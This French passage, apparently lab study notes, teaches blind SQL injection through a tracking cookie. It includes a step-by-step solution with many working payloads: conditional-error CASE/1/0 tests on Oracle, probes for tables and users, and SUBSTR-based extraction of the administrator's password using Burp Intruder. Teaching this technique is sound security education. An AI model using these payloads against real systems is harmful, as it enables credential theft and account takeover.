username='administrator')='§a§
Accédez à l'onglet Charges utiles, vérifiez que "Liste simple" est sélectionné, et
sous Paramètres de charge utile , ajoutez les charges utiles dans la plage a - z et 0 - 9
Select tracking-id from tracking-table where trackingId=’ XlLyYPAC2VjPkKIM ' and (select
substring (password,1,1) from users where username='administrator')='a'—
3. Induire des réponses conditionnelles en déclenchant des erreurs SQL
Dans l'exemple précédent, supposons plutôt que l'application exécute la même requête SQL,
mais ne se comporte pas différemment selon que la requête retourne ou non des données. La
technique précédente ne fonctionnera pas, car l'injection de différentes conditions booléennes ne
fait aucune différence dans les réponses de l'application. Dans cette situation, il est souvent
possible d'amener l'application à retourner des réponses conditionnelles en déclenchant des
erreurs SQL de manière conditionnelle, en fonction d'une condition injectée. Cela implique de
modifier la requête afin qu'elle provoque une erreur de base de données si la condition est vraie,
mais pas si la condition est fausse. Très souvent, une erreur non gérée générée par la base de
données entraînera une différence dans la réponse de l'application (comme un message d'erreur),
nous permettant de déduire la vérité de la condition injectée.
Pour voir comment cela fonctionne, supposons que deux requêtes soient envoyées
contenant TrackingId tour à tour les valeurs de cookie suivantes :

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a

xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

Ces entrées utilisent le CASEmot clé pour tester une condition et renvoyer une expression
différente selon que l'expression est vraie ou non. Avec la première entrée, l' CASEexpression
prend la valeur 'a', ce qui ne provoque aucune erreur. Avec la deuxième entrée, il évalue à 1/0, ce
qui provoque une erreur de division par zéro. En supposant que l'erreur provoque une différence
dans la réponse HTTP de l'application, nous pouvons utiliser cette différence pour déduire si la
condition injectée est vraie.
En utilisant cette technique, nous pouvons récupérer les données de la manière déjà décrite, en
testant systématiquement un caractère à la fois :

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND

SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

Lab : Injection SQL aveugle avec erreurs conditionnelles (idem)

Solution :

Vulnerable parameter: tracking cookie

GOAL: connaître le mot de passe de l' administrator et se connecte en tant que admin
Analysis:
1 Modifier le TrackingId=5qsgkaHXdCnrZGGP' -- Vérifiez qu'un message d'erreur est reçu.
2 Remplacez-le maintenant par deux guillemets TrackingId=5qsgkaHXdCnrZGGP' ‘--Vérifiez que
l'erreur a disparu

3 TrackingId=5qsgkaHXdCnrZGGP'||(SELECT '')||'

Dans ce cas, notez que la requête semble toujours invalide. Cela peut être dû au type de base de
données - essayez de spécifier un nom de table prévisible dans la requête :
TrackingId=5qsgkaHXdCnrZGGP' ||(SELECT '' FROM dual)||'

Comme vous ne recevez plus d'erreur, cela indique que la cible utilise probablement une base de
données Oracle, ce qui nécessite que toutes SELECT les instructions spécifient explicitement un
nom de table.
4 Essayez de soumettre une requête non valide tout en préservant la syntaxe SQL valide. Par
exemple, essayez d'interroger un nom de table inexistant :
TrackingId=5qsgkaHXdCnrZGGP' ||(SELECT '' FROM not-a-real-table)||'
Cette fois, une erreur est renvoyée. Ce comportement suggère fortement que votre injection est
traitée comme une requête SQL par le back-end.
5 Tant que vous vous assurez de toujours injecter des requêtes SQL syntaxiquement valides,
vous pouvez utiliser cette réponse d'erreur pour déduire des informations clés sur la base de
données. Par exemple, pour vérifier que la users table existe, envoyez la requête suivante :
TrackingId=5qsgkaHXdCnrZGGP' ||(SELECT '' FROM users WHERE ROWNUM = 1)||'
Comme cette requête ne renvoie pas d'erreur, vous pouvez en déduire que cette table
existe. Notez que la WHERE ROWNUM = 1condition est importante ici pour empêcher la
requête de renvoyer plus d'une ligne, ce qui casserait notre concaténation.
6 Vous pouvez également exploiter ce comportement pour tester les conditions. Tout d'abord,
soumettez la requête suivante :
TrackingId=5qsgkaHXdCnrZGGP' ||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0)
ELSE '' END FROM dual)||'-- Vérifiez qu'un message d'erreur est reçu.

7 changez-le en :

TrackingId=5qsgkaHXdCnrZGGP' ||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0)

ELSE '' END FROM dual)||'

Vérifiez que l'erreur disparaît. Cela démontre que vous pouvez déclencher une erreur
conditionnellement à la véracité d'une condition spécifique. L' CASE instruction teste une
condition et évalue une expression si la condition est vraie, et une autre expression si la condition
est fausse. La première expression contient une division par zéro, ce qui provoque une
erreur. Dans ce cas, les deux charges utiles testent les conditions 1=1et 1=2, et une erreur est
reçue lorsque la condition est true.
8 Vous pouvez utiliser ce comportement pour tester si des entrées spécifiques existent dans une
table. Par exemple, utilisez la requête suivante pour vérifier si le nom d'utilisateur administrator
existe

TrackingId=5qsgkaHXdCnrZGGP' ||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0)

ELSE '' END FROM users WHERE username='administrator')||'-- Vérifiez que la
condition est vraie (l'erreur est reçue), confirmant qu'il existe un utilisateur
appelé administrator.

9 L'étape suivante consiste à déterminer le nombre de caractères dans le mot de passe de

l' administrator utilisateur. Pour ce faire, changez la valeur en :

TrackingId=5qsgkaHXdCnrZGGP' ||(SELECT CASE WHEN LENGTH(password)>1 THEN

to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Cette condition doit être vraie, confirmant que le mot de passe est supérieur à 1 caractère.
10 Envoyez une série de valeurs de suivi pour tester différentes longueurs de mot de
passe. Envoyer:
TrackingId=5qsgkaHXdCnrZGGP' ||(SELECT CASE WHEN LENGTH(password)>2 THEN
TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Dans l'onglet Positions de Burp Intruder, effacez les positions de charge utile par défaut en
cliquant sur le bouton "Effacer §". Dans l'onglet Positions, changez la valeur du cookie en
TrackingId=5qsgkaHXdCnrZGGP' ||(SELECT CASE WHEN SUBSTR(password,1,1)='a'
THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE
username='administrator')||'

Cela utilise la SUBSTR()fonction pour extraire un seul caractère du mot de passe et le tester par
rapport à une valeur spécifique. Notre attaque passera par chaque position et valeur possible, testant
chacune à son tour. Placez des marqueurs de position de charge utile autour du a caractère final dans
la valeur du cookie. Pour ce faire, sélectionnez uniquement le a, et cliquez sur le bouton "Ajouter
§". Vous devriez alors voir ce qui suit comme valeur de cookie (notez les marqueurs de position de
charge utile) :

TrackingId=5qsgkaHXdCnrZGGP' ||(SELECT CASE WHEN

SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users
WHERE username='administrator')||'